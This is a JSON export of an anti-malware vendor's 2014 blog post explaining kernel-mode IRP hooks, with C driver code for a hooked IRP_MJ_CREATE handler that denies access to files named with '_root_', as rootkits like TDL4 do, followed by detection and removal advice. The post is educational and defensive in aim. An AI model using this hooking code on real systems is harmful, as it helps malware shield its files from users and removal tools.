{"id":222,"date":"2014-07-09T06:51:03","date_gmt":"2014-07-09T06:51:03","guid":{"rendered":"http:\/\/www.adlice.com\/?p=222"},"modified":"2022-12-21T10:39:49","modified_gmt":"2022-12-21T10:39:49","slug":"kernelmode-rootkits-part-2-irp-hooks","status":"publish","type":"post","link":"https:\/\/www.adlice.com\/de\/kernelmode-rootkits-part-2-irp-hooks\/","title":{"rendered":"KernelMode Rootkits: Part 2, IRP hooks"},"content":{"rendered":"\n<p>This is the second part of this series about <strong>Kernel Mode rootkits<\/strong>, I wanted to write on it and demonstrate how some rootkits (Ex: TDL4) do to <strong>hijack disk access<\/strong> by using IRP hooks.<\/p>\n\n\n\n<p>To understand the basics of kernelmode, drivers, <a title=\"KernelMode rootkits: Part 1, SSDT hooks\" href=\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/\"><strong>please refer to the first part<\/strong><\/a>. <strong>This post is about a classic trick<\/strong>, known for decades. Malware specialists may know this already, so this is mostly an introduction for whom willing to learn the theory of rootkits, and have a demonstration. Call that beginners if you want \ud83d\ude42<\/p>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>IRP (I\/O Request Packet)<\/h4>\n\n\n\n<p><strong><a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/hardware\/hh439638%28v=vs.85%29.aspx\">An IRP is an object<\/a> used to communicate between all the <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/hardware\/hh439632%28v=vs.85%29.aspx\">different layers of a driver stack<\/a><\/strong>.<\/p>\n\n\n\n<p>Imagine that when you press a key on your keyboard the information isn&#8217;t sent directly to your screen to type the character. Between the time you pressed the key and the time it&#8217;s displayed on the screen, <strong>the information is passed through several drivers, each acting as an abstraction layer to simplify the information for the next level<\/strong>. It starts with an electrical information, and ends with a character. Then the applicative layer can interpret the character and send it down to the screen driver stack. The character is then transformed into a pixel with a color and a position.<\/p>\n\n\n\n<p><strong>For each driver, there are some major functions that receive IRPs to process<\/strong> (for example, the disk driver stack can receive a disk read request). These major functions are hold in a table of pointers.<\/p>\n\n\n\n<p>Making of a hook in this table consist to <strong>replace the original pointer value of an entry (let&#8217;s take IRP_MJ_CREATE for the example) by the address of a function with the same prototype in any kernel mode loaded module.<\/strong> Usually, detouring an API is only made to <strong>filter the input parameters<\/strong> (and deny access if needed) and <strong>return the original pointer value at the end of the processing<\/strong>, to call the original function.<br>&nbsp;<br>Any loaded module can then <strong>detour the execution flow of a major function to filter<\/strong> any attempt to access a particular file (in our example), and hide or deny access to it.<br>&nbsp;<br><strong>IRP hooks are used by malware to do multiple things, from keylogging to disk access filtering, &#8230;<\/strong><br>&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/irphook.png\"><img decoding=\"async\" width=\"500\" height=\"290\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/irphook.png\" alt=\"IRP hook\" class=\"wp-image-226\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/irphook.png 500w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/irphook-300x174.png 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" \/><\/a><figcaption class=\"wp-element-caption\">IRP hook<\/figcaption><\/figure>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>Practical case: Deny access to a file<\/h4>\n\n\n\n<p><strong>Imagine you&#8217;re a malware writer, and you need to protect your binary file<\/strong>. You don&#8217;t want anyone to be able to remove your malware so you protect the file. <strong>Disclaimer: This is not a tutorial to make a rootkit, but a practical case for educational purpose only.<\/strong> Anyway, this is covered for decades on other websites&#8230;<\/p>\n\n\n\n<p>I&#8217;ll not show you how to hook the major function. I&#8217;ll just write the hooking filter function.<strong> We want to protect a file, so we will target <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/hardware\/ff548630%28v=vs.85%29.aspx\"><strong>the IRP_MJ_CREATE function<\/strong><\/a>, because it&#8217;s necessary to get a handle on a file before modify it. <\/strong> I haven&#8217;t told before, <a href=\"http:\/\/www.codeproject.com\/Articles\/9504\/Driver-Development-Part-Introduction-to-Drivers\">but as it&#8217;s kernel mode code, you&#8217;d need to code a driver.<\/a><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>NTSTATUS HookedMjCreate(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)\n{\n    PIO_STACK_LOCATION      irpStack;\n    ULONG                   ioTransferType;\n\n    \/\/ Get a pointer to the current location in the IRP. This is where\n    \/\/ the function codes and parameters are located.\n\n    irpStack = IoGetCurrentIrpStackLocation(Irp);\n    switch (irpStack-&amp;gt;MajorFunction)\n    {\n        case IRP_MJ_CREATE:     \n            \n            ioTransferType = irpStack-&amp;gt;Parameters.DeviceIoControl.IoControlCode;\n            ioTransferType &amp;amp;= 3;\n            \n            \/\/ Filter only files containing _root_\n            if (irpStack-&amp;gt;FileObject != NULL &amp;amp;&amp;amp; irpStack-&amp;gt;FileObject-&amp;gt;FileName.Length &amp;gt; 0 &amp;amp;&amp;amp; wcsstr(irpStack-&amp;gt;FileObject-&amp;gt;FileName.Buffer, L\"_root_\") != NULL)\n            {           \n                DbgPrint(\"&#91;HOOK] File: %ws\\n\", irpStack-&amp;gt;FileObject-&amp;gt;FileName.Buffer);\n            \n                \/\/ Need to know the method to find input buffer\n                if (ioTransferType == METHOD_BUFFERED)\n                {\n                    \/\/ Call our completion routine if IRP succeeds.\n                    \/\/ To do this, change the Control flags in the IRP.\n                    irpStack-&amp;gt;Control = 0;\n                    irpStack-&amp;gt;Control |= SL_INVOKE_ON_SUCCESS;\n\n                    \/\/ Save old completion routine if present\n                    irpStack-&amp;gt;Context =(PIO_COMPLETION_ROUTINE) ExAllocatePool(NonPagedPool, sizeof(REQINFO));\n                    ((PREQINFO)irpStack-&amp;gt;Context)-&amp;gt; OldCompletion = irpStack-&amp;gt;CompletionRoutine;\n\n                    \/\/ Setup our function to be called\n                    \/\/ upon completion of the IRP\n                    irpStack-&amp;gt;CompletionRoutine = (PIO_COMPLETION_ROUTINE) IoCompletionRoutine;\n                }\n            }\n            break;\n\n        default:\n            break;\n    }\n\n    \/\/ Call the original function\n    return OldIrpMj(DeviceObject, Irp);\n}\n\n\/\/ The CompletionRoutine is called only if we found a file to deny access\nNTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)\n{\n   PVOID OutputBuffer;\n   DWORD NumOutputBuffers;\n   PIO_COMPLETION_ROUTINE p_compRoutine;\n   DWORD i;\n\n   OutputBuffer     = Irp-&amp;gt;UserBuffer;\n   p_compRoutine    = ((PREQINFO)Context)-&amp;gt;OldCompletion;\n   DbgPrint (\"Completion routine reached! Deny access.\\n\");\n   ExFreePool(Context);\n\n   \/\/ We deny access by returning an ERROR code\n   Irp-&amp;gt;IoStatus.Status = STATUS_NOT_FOUND;\n   \n   \/\/ Call next completion routine (if any)\n   if ((Irp-&amp;gt;StackCount &amp;gt; (ULONG)1) &amp;amp;&amp;amp; (p_compRoutine != NULL))\n      return (p_compRoutine)(DeviceObject, Irp, NULL);\n   else\n      return Irp-&amp;gt;IoStatus.Status;\n}\n<\/code><\/pre>\n\n\n\n<p><br><strong>The code is self explaining, fully commented.<\/strong><br><strong>If the filename contains the string &#8220;_root_&#8221;, we setup a completion routine for the current IRP. In the completion routine, we just modify the status returned with an error code.<\/strong><\/p>\n\n\n\n<p>This means each time we try to get a handle on a protected file, we have that error. No handle means no right for touching it (read, write, rename, &#8230;).<br>&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/hook_irp.png\"><img decoding=\"async\" width=\"679\" height=\"74\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/hook_irp.png\" alt=\"debug output\" class=\"wp-image-223\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/hook_irp.png 679w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/hook_irp-300x33.png 300w\" sizes=\"(max-width: 679px) 100vw, 679px\" \/><\/a><figcaption class=\"wp-element-caption\">debug output<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/hook_irp2.png\"><img decoding=\"async\" width=\"1107\" height=\"404\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/hook_irp2.png\" alt=\"file reading is denied\" class=\"wp-image-225\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/hook_irp2.png 1107w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/hook_irp2-300x109.png 300w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/hook_irp2-1024x374.png 1024w\" sizes=\"(max-width: 1107px) 100vw, 1107px\" \/><\/a><figcaption class=\"wp-element-caption\">file reading is denied<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/hook_irp_renaming.png\"><img decoding=\"async\" width=\"604\" height=\"135\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/hook_irp_renaming.png\" alt=\"file renaming is denied\" class=\"wp-image-224\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/hook_irp_renaming.png 604w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/hook_irp_renaming-300x67.png 300w\" sizes=\"(max-width: 604px) 100vw, 604px\" \/><\/a><figcaption class=\"wp-element-caption\">file renaming is denied<\/figcaption><\/figure>\n\n\n\n<p><strong>A demo of the rootkit is available here: <\/strong><\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"IRP hook demo file protector\" width=\"1200\" height=\"675\" src=\"https:\/\/www.youtube.com\/embed\/aXIV7NdADRg?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>Detection\/Removal<\/h4>\n\n\n\n<p><strong>To detect such a hook, we need to load a driver that will scan the major functions table in the related driver<\/strong> and compare each pointer to the address range of driver&#8217;s module. If one is outside this range, it&#8217;s probably hooked by some module. Pretty easy to detect.<\/p>\n\n\n\n<p>However, some other tips exist to hook the major functions, <strong>some rootkits do not change the address in the table but change the assembly instructions of the first bytes<\/strong> in the function itself to point to the hooking module. <strong>This is called Inline hook<\/strong> (not covered here).<\/p>\n\n\n\n<p>To remove a IRP hook, you need to retrieve the true address of the major function (somewhere&#8230;) and <strong>replace the bad address in the table<\/strong>. That should remove the filter and let the rootkit unprotected. Pay attention, the restore action must be atomic (else we can have some BSoD).<\/p>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>Useful links<\/h4>\n\n\n\n<p>&#8211; <a href=\"http:\/\/www.amazon.com\/Rootkits-Subverting-Windows-Greg-Hoglund\/dp\/0321294319\">Rootkits: Subversing the windows kernel.<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>KernelMode Rootkits explained. This is the second part of this rootkit writing tutorial in which we will detail the basics about kernel rootkits.<\/p>\n","protected":false},"author":1,"featured_media":226,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[36,84],"tags":[7,47,52,194,196,197,89,43],"class_list":["post-222","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-analysis","category-tutorial","tag-analysis","tag-anti-rootkit","tag-antivirus","tag-hook","tag-irp","tag-kernel","tag-research","tag-rootkit","category-36","category-84","description-off"],"views":9137,"yoast_score":65,"yoast_readable":60,"featured_image_src":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/irphook.png","author_info":{"display_name":"tigzy","author_link":"https:\/\/www.adlice.com\/de\/author\/tigzy\/"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.1.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>KernelMode Rootkits, Part 2 | IRP hooks \u2022 Adlice Software<\/title>\n<meta name=\"description\" content=\"KernelMode Rootkits explained. This is the second part of this rootkit writing tutorial and it covers IRP hooks in the kernel.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/\" \/>\n<meta property=\"og:locale\" content=\"de_DE\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"KernelMode Rootkits, Part 2 | IRP hooks \u2022 Adlice Software\" \/>\n<meta property=\"og:description\" content=\"KernelMode Rootkits explained. This is the second part of this rootkit writing tutorial and it covers IRP hooks in the kernel.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/\" \/>\n<meta property=\"og:site_name\" content=\"Adlice Software\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/RogueKiller\" \/>\n<meta property=\"article:published_time\" content=\"2014-07-09T06:51:03+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-12-21T10:39:49+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/irphook.png\" \/>\n\t<meta property=\"og:image:width\" content=\"500\" \/>\n\t<meta property=\"og:image:height\" content=\"290\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"tigzy\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@AdliceSoftware\" \/>\n<meta name=\"twitter:site\" content=\"@AdliceSoftware\" \/>\n<meta name=\"twitter:label1\" content=\"Verfasst von\" \/>\n\t<meta name=\"twitter:data1\" content=\"tigzy\" \/>\n\t<meta name=\"twitter:label2\" content=\"Gesch\u00e4tzte Lesezeit\" \/>\n\t<meta name=\"twitter:data2\" content=\"6\u00a0Minuten\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/\"},\"author\":{\"name\":\"tigzy\",\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/person\/a02b30804320a4059d268dc2567a307d\"},\"headline\":\"KernelMode Rootkits: Part 2, IRP hooks\",\"datePublished\":\"2014-07-09T06:51:03+00:00\",\"dateModified\":\"2022-12-21T10:39:49+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/\"},\"wordCount\":763,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/www.adlice.com\/#organization\"},\"image\":{\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/irphook.png\",\"keywords\":[\"analysis\",\"anti-rootkit\",\"antivirus\",\"hook\",\"irp\",\"kernel\",\"research\",\"rootkit\"],\"articleSection\":[\"Analysis\",\"Tutorial\"],\"inLanguage\":\"de\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/\",\"url\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/\",\"name\":\"KernelMode Rootkits, Part 2 | IRP hooks \u2022 Adlice Software\",\"isPartOf\":{\"@id\":\"https:\/\/www.adlice.com\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/irphook.png\",\"datePublished\":\"2014-07-09T06:51:03+00:00\",\"dateModified\":\"2022-12-21T10:39:49+00:00\",\"description\":\"KernelMode Rootkits explained. This is the second part of this rootkit writing tutorial and it covers IRP hooks in the kernel.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/#breadcrumb\"},\"inLanguage\":\"de\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/#primaryimage\",\"url\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/irphook.png\",\"contentUrl\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/irphook.png\",\"width\":500,\"height\":290,\"caption\":\"IRP hook\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.adlice.com\/de\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"KernelMode Rootkits: Part 2, IRP hooks\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.adlice.com\/#website\",\"url\":\"https:\/\/www.adlice.com\/\",\"name\":\"Adlice Software\",\"description\":\"Anti-malware and analysis tools\",\"publisher\":{\"@id\":\"https:\/\/www.adlice.com\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.adlice.com\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"de\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.adlice.com\/#organization\",\"name\":\"Adlice Software\",\"url\":\"https:\/\/www.adlice.com\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2020\/05\/B1rTNpTG_400x40_10.png\",\"contentUrl\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2020\/05\/B1rTNpTG_400x40_10.png\",\"width\":276,\"height\":276,\"caption\":\"Adlice Software\"},\"image\":{\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/RogueKiller\",\"https:\/\/x.com\/AdliceSoftware\",\"https:\/\/fr.linkedin.com\/company\/adlice-software\",\"https:\/\/www.youtube.com\/channel\/UC4CQ-gIZMGWxl-auf0QqYhQ\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/person\/a02b30804320a4059d268dc2567a307d\",\"name\":\"tigzy\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/d81e380961b1b69969fa84994ad1e4cba26afe93a49d8dd3148e9c33ffe4ccac?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/d81e380961b1b69969fa84994ad1e4cba26afe93a49d8dd3148e9c33ffe4ccac?s=96&d=mm&r=g\",\"caption\":\"tigzy\"},\"description\":\"Founder and owner of Adlice Software, Tigzy started as lead developer on the popular Anti-malware called RogueKiller. Involved in all the Adlice projects as lead developer, Tigzy is also doing research and reverse engineering as well as writing blog posts.\",\"url\":\"https:\/\/www.adlice.com\/de\/author\/tigzy\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"KernelMode Rootkits, Part 2 | IRP hooks \u2022 Adlice Software","description":"KernelMode Rootkits explained. This is the second part of this rootkit writing tutorial and it covers IRP hooks in the kernel.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/","og_locale":"de_DE","og_type":"article","og_title":"KernelMode Rootkits, Part 2 | IRP hooks \u2022 Adlice Software","og_description":"KernelMode Rootkits explained. This is the second part of this rootkit writing tutorial and it covers IRP hooks in the kernel.","og_url":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/","og_site_name":"Adlice Software","article_publisher":"https:\/\/www.facebook.com\/RogueKiller","article_published_time":"2014-07-09T06:51:03+00:00","article_modified_time":"2022-12-21T10:39:49+00:00","og_image":[{"width":500,"height":290,"url":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/irphook.png","type":"image\/png"}],"author":"tigzy","twitter_card":"summary_large_image","twitter_creator":"@AdliceSoftware","twitter_site":"@AdliceSoftware","twitter_misc":{"Verfasst von":"tigzy","Gesch\u00e4tzte Lesezeit":"6\u00a0Minuten"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/#article","isPartOf":{"@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/"},"author":{"name":"tigzy","@id":"https:\/\/www.adlice.com\/#\/schema\/person\/a02b30804320a4059d268dc2567a307d"},"headline":"KernelMode Rootkits: Part 2, IRP hooks","datePublished":"2014-07-09T06:51:03+00:00","dateModified":"2022-12-21T10:39:49+00:00","mainEntityOfPage":{"@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/"},"wordCount":763,"commentCount":0,"publisher":{"@id":"https:\/\/www.adlice.com\/#organization"},"image":{"@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/#primaryimage"},"thumbnailUrl":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/irphook.png","keywords":["analysis","anti-rootkit","antivirus","hook","irp","kernel","research","rootkit"],"articleSection":["Analysis","Tutorial"],"inLanguage":"de"},{"@type":"WebPage","@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/","url":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/","name":"KernelMode Rootkits, Part 2 | IRP hooks \u2022 Adlice Software","isPartOf":{"@id":"https:\/\/www.adlice.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/#primaryimage"},"image":{"@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/#primaryimage"},"thumbnailUrl":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/irphook.png","datePublished":"2014-07-09T06:51:03+00:00","dateModified":"2022-12-21T10:39:49+00:00","description":"KernelMode Rootkits explained. This is the second part of this rootkit writing tutorial and it covers IRP hooks in the kernel.","breadcrumb":{"@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/#breadcrumb"},"inLanguage":"de","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/"]}]},{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/#primaryimage","url":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/irphook.png","contentUrl":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/irphook.png","width":500,"height":290,"caption":"IRP hook"},{"@type":"BreadcrumbList","@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-2-irp-hooks\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.adlice.com\/de\/"},{"@type":"ListItem","position":2,"name":"KernelMode Rootkits: Part 2, IRP hooks"}]},{"@type":"WebSite","@id":"https:\/\/www.adlice.com\/#website","url":"https:\/\/www.adlice.com\/","name":"Adlice Software","description":"Anti-malware and analysis tools","publisher":{"@id":"https:\/\/www.adlice.com\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.adlice.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"de"},{"@type":"Organization","@id":"https:\/\/www.adlice.com\/#organization","name":"Adlice Software","url":"https:\/\/www.adlice.com\/","logo":{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/www.adlice.com\/#\/schema\/logo\/image\/","url":"https:\/\/www.adlice.com\/wp-content\/uploads\/2020\/05\/B1rTNpTG_400x40_10.png","contentUrl":"https:\/\/www.adlice.com\/wp-content\/uploads\/2020\/05\/B1rTNpTG_400x40_10.png","width":276,"height":276,"caption":"Adlice Software"},"image":{"@id":"https:\/\/www.adlice.com\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/RogueKiller","https:\/\/x.com\/AdliceSoftware","https:\/\/fr.linkedin.com\/company\/adlice-software","https:\/\/www.youtube.com\/channel\/UC4CQ-gIZMGWxl-auf0QqYhQ"]},{"@type":"Person","@id":"https:\/\/www.adlice.com\/#\/schema\/person\/a02b30804320a4059d268dc2567a307d","name":"tigzy","image":{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/www.adlice.com\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/d81e380961b1b69969fa84994ad1e4cba26afe93a49d8dd3148e9c33ffe4ccac?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/d81e380961b1b69969fa84994ad1e4cba26afe93a49d8dd3148e9c33ffe4ccac?s=96&d=mm&r=g","caption":"tigzy"},"description":"Founder and owner of Adlice Software, Tigzy started as lead developer on the popular Anti-malware called RogueKiller. Involved in all the Adlice projects as lead developer, Tigzy is also doing research and reverse engineering as well as writing blog posts.","url":"https:\/\/www.adlice.com\/de\/author\/tigzy\/"}]}},"_links":{"self":[{"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/posts\/222","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/comments?post=222"}],"version-history":[{"count":0,"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/posts\/222\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/media\/226"}],"wp:attachment":[{"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/media?parent=222"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/categories?post=222"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/tags?post=222"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}